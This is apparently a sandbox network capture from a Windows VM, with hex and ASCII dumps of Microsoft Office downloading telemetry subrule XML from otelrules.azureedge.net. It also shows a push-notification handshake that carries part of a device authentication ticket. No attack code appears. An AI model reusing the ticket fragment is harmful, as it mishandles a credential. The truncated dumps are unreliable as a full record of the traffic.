2024-11-20 00:18:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001832Z-185f5d8b95c96jn4hC1NYCbgp800000009h0000000005am2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 00:18:32 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:32 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001832Z-185f5d8b95cp7lkfhC1NYC7rpw00000009gg00000000pz7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:33 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:32 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001832Z-185f5d8b95crl6swhC1NYC3ueg00000009kg00000000gmv8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:33 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49776	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:33 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 5a 56 64 65 76 46 2f 70 6c 55 36 67 75 30 79 44 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 62 37 30 61 61 64 63 38 64 62 33 38 62 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ZVdevF/plU6gu0yD.1Context: 6ab70aadc8db38b0
2024-11-20 00:18:33 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 00:18:33 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 5a 56 64 65 76 46 2f 70 6c 55 36 67 75 30 79 44 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 62 37 30 61 61 64 63 38 64 62 33 38 62 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6d 68 68 57 34 74 50 64 72 45 42 38 4e 37 70 33 7a 38 52 55 2b 76 34 57 36 2b 79 30 77 69 4d 37 65 32 4f 64 46 4d 72 61 59 78 64 52 43 38 5a 56 32 69 51 73 77 2b 71 2b 69 4f 4e 69 6b 42 68 62 6b 31 62 4f 34 73 6d 37 62 6d 74 65 52 41 72 74 53 71 77 42 7a 65 6a 4e 41 57 57 64 57 48 36 4a 67 75 4e 39 74 6e 6e 44 62 4e 6e 51 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ZVdevF/plU6gu0yD.2Context: 6ab70aadc8db38b0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVmhhW4tPdrEB8N7p3z8RU+v4W6+y0wiM7e2OdFMraYxdRC8ZV2iQsw+q+iONikBhbk1bO4sm7bmteRArtSqwBzejNAWWdWH6JguN9tnnDbNnQ
2024-11-20 00:18:33 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 5a 56 64 65 76 46 2f 70 6c 55 36 67 75 30 79 44 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 62 37 30 61 61 64 63 38 64 62 33 38 62 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ZVdevF/plU6gu0yD.3Context: 6ab70aadc8db38b0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-20 00:18:33 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 00:18:33 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 47 69 58 50 62 50 47 58 63 55 4b 39 64 51 6a 78 71 65 39 66 42 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: GiXPbPGXcUK9dQjxqe9fBw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:33 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:33 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001833Z-185f5d8b95ckwnflhC1NYCx9qs00000009n0000000001v58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:33 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:33 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001833Z-1777c6cb754whff4hC1TEBcd6c00000007h0000000005mb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:33 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001833Z-r1d97b995777mdbwhC1TEBezag000000081000000000ck6z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:33 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001833Z-185f5d8b95csp6jmhC1NYCwy6s00000009g0000000004k9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:33 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001833Z-185f5d8b95cqnkdjhC1NYCm8w8000000099g00000000gcgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:34 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001834Z-185f5d8b95cx9g8lhC1NYCtgvc00000001t000000000hkpr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:34 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001834Z-1777c6cb754xrr98hC1TEB3kag00000008qg00000000875w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
